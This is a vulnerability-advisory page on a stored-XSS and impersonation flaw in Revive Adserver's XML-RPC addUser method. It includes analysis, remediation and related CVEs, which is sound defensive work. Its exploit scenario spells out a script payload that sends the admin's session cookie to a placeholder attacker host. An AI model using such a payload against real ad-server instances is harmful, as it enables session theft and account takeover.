Skip to main content

Revive Adserver EUVDEUVD-2026-38504

| CVE-2026-44961 NONE
Improper Authentication (CWE-287)
2026-06-23 hackerone GHSA-9wv7-mm8f-m6cx
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain valid API credentials
  2. Delivery
    Send addUser XML-RPC request with malicious username
  3. Exploit
    Bypass input validation due to regression
  4. Install
    Malicious username persisted in database
  5. C2
    Admin views user management interface
  6. Execute
    Stored XSS payload executes in admin browser
  7. Impact
    Admin session token exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK

2 techniques across 2 tactics: Defense Evasion, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires possession of valid Revive Adserver API credentials with sufficient permissions to invoke the addUser XML-RPC method - this is not a capability available to unauthenticated anonymous users, despite the erroneous PR:N in the provided CVSS placeholder. The XML-RPC endpoint must be network-reachable from the attacker. For the stored XSS impact to materialize, a victim with administrative or elevated privileges must subsequently navigate to the user management interface where the malicious username is rendered - this requires victim browser interaction and limits exploitation to scenarios where an admin session can be targeted. The impersonation vector is limited to contexts where administrators or other users rely on usernames as identity indicators without additional verification. Deployments where the XML-RPC API is firewalled from untrusted networks are not exploitable remotely. The regression dependency on CVE-2025-55129 means only instances that applied the prior patch but have not yet received the current fix are in the vulnerable state.

Impact

The supplied CVSS 3.0 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) is a null placeholder that cannot be used for risk assessment - it credits zero impact across all dimensions while the description clearly describes stored XSS and impersonation, which are material confidentiality and integrity risks. The PR:N claim conflicts with the phrase 'API users could create usernames,' which implies a required authentication step. No EPSS score was provided, so probabilistic exploitation likelihood cannot be quantified. The absence of a CISA KEV listing and any identified public POC suggests exploitation has not been broadly observed, though HackerOne disclosure may accelerate that timeline. Real-world risk is moderate and primarily driven by whether API credentials are broadly distributed or externally accessible: organizations restricting API access to internal trusted systems face substantially lower exposure than those with public-facing XML-RPC endpoints. The impersonation vector adds social-engineering and privilege-escalation risk beyond the XSS alone, particularly in multi-tenant ad server deployments.

Exploit ScenarioDerived

An attacker with valid API credentials submits an XML-RPC addUser request to a Revive Adserver instance, specifying a username such as '<script>document.location=\'https://attacker.tld/steal?c=\'+document.cookie</script>' or a string closely resembling an administrator account name. Because input validation is bypassed, the payload is stored without sanitization. When an administrator next opens the user management panel, the stored XSS payload executes in their browser, exfiltrating the admin session cookie to attacker-controlled infrastructure and granting full account takeover. No public POC has been identified at time of analysis, but the technique is well within the capability of any user possessing API credentials.

Awaiting Data No severity or threat signals available yet. Label will update when CVSS score is published or threat intelligence arrives.
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

Revive Adserver's XML-RPC API addUser method contains a validation bypass regression introduced by the patch for CVE-2025-55129, allowing authenticated API users to register usernames containing malicious payloads that enable impersonation of other accounts or deliver stored cross-site scripting attacks against administrative users. Reported via HackerOne (report #3680090), this vulnerability is not listed in CISA KEV and no public exploit has been identified at time of analysis. The provided CVSS vector is a null placeholder with all impact metrics rated N, which directly contradicts the described integrity and confidentiality impacts of stored XSS and account impersonation, and must not be used for risk prioritization.

RemediationAI

The vulnerability description states that proper validation has been added, confirming a fix exists upstream, but no specific patched version number was identified in the available data. Administrators should consult the Revive Adserver project release page and the HackerOne disclosure at https://hackerone.com/reports/3680090 to identify the exact fixed version and upgrade immediately. As compensating controls pending patching: restrict access to the XML-RPC API endpoint at the network layer (firewall or reverse proxy ACL) so only trusted internal IP ranges can call addUser - this eliminates remote exploitation without disrupting non-API functionality. Additionally, audit all existing usernames in the database for suspicious strings containing angle brackets, script tags, or close-duplicate names mimicking administrator accounts, and remove or rename any found. Disabling XML-RPC entirely removes the attack surface but will break any automated user provisioning pipelines dependent on the API. No side-effect-free workaround short of patching has been confirmed.

Affected VersionsENISA

Adserver 0 ≤6.0.6

Affected Packages

euvd adserver no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Revive Adserver (CPE: cpe:2.3:a:revive:adserver:*:*:*:*:*:*:*:*) is an open-source, self-hosted ad serving platform that exposes an XML-RPC API for programmatic management, including user account provisioning via the addUser method. XML-RPC is a remote procedure call protocol encoding requests and responses as XML over HTTP. The root cause is inadequate input validation on the username parameter within addUser - a regression specifically introduced when patching CVE-2025-55129, meaning the prior fix removed or relocated a validation check that was required to sanitize user-supplied username strings. CWE-287 (Improper Authentication) is the listed classification and partially applies via the impersonation vector, but the primary technical failure is closer to CWE-20 (Improper Input Validation) and CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS). The stored XSS pathway arises when the malicious username is later rendered in the administrative interface without escaping.

Know when Adserver gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (hackerone) PRIMARY 0.0 NONE
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
vuln.today AI 8.7 HIGH

API authentication required for addUser access (PR:L); stored XSS requires admin to view user list (UI:R); payload executes in victim browser with scope change (S:C), enabling session hijack (C:H) and impersonation (I:H).

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (hackerone).

CVSS VectorVendor: hackerone

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
None

DescriptionCVE.org

The XML‑RPC API addUser method has a validation bypass introduced in the fix for CVE‑2025‑55129. As a result, API users could create usernames that enabled impersonation or stored XSS attacks. Proper validation has been added where it was missing.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Low
niche self-hosted open-source ad server, limited enterprise footprint
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity NONE
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.
Awaiting Data No severity or threat signals available yet. Label will update when CVSS score is published or threat intelligence arrives.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

CVE-2023-26756 HIGH POC
7.5 Apr 14

The login page of Revive Adserver v5.4.1 is vulnerable to brute force attacks. Rated high severity (CVSS 7.5), this vuln

CVE-2026-44959 HIGH
8.8 Jun 23

Authenticated PHP code injection in Revive Adserver 6.0.6 and earlier allows a low-privileged user to smuggle an unexpec

CVE-2026-50741 HIGH
8.8 Jun 26

Remote code execution in Revive Adserver is reachable by authenticated low-privilege users who bypass the prior fix for

CVE-2026-34914 HIGH
8.3 Jun 23

Blind SQL injection in Revive Adserver 6.0.6 and earlier allows authenticated low-privileged users to inject arbitrary S

CVE-2026-34915 MEDIUM
6.1 Jun 23

Blind SQL injection in Revive Adserver 6.0.6 and earlier allows a low-privileged authenticated user to exfiltrate databa

CVE-2026-50745 MEDIUM
6.1 Jun 26

Reflected cross-site scripting in Revive Adserver's stats-video.php script allows remote attackers to inject arbitrary J

CVE-2026-44958 MEDIUM
5.4 Jun 23

Privilege escalation within Revive Adserver 6.0.6 and earlier allows authenticated advertiser-level users to activate or

CVE-2026-50743 MEDIUM
5.4 Jul 20

Cross-site request forgery in Revive Adserver 6.0.7 allows an unauthenticated remote attacker to manipulate ad zone conf

CVE-2026-50740 MEDIUM
5.4 Jun 26

Reflected XSS in Revive Adserver 6.0.7 and earlier allows a low-privileged user to inject unsanitized JavaScript via the

CVE-2026-50742 MEDIUM
5.4 Jun 26

Stored cross-site scripting in Revive Adserver 6.0.7 allows an authenticated low-privilege attacker to inject persistent

CVE-2026-34917 MEDIUM
4.3 Jun 23

Session context confusion in Revive Adserver allows a low-privileged web admin console user to reuse their session ID ag

CVE-2026-34913 MEDIUM
4.3 Jun 23

Improper access control in Revive Adserver 6.0.6 and earlier allows an authenticated low-privileged user to link their o

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy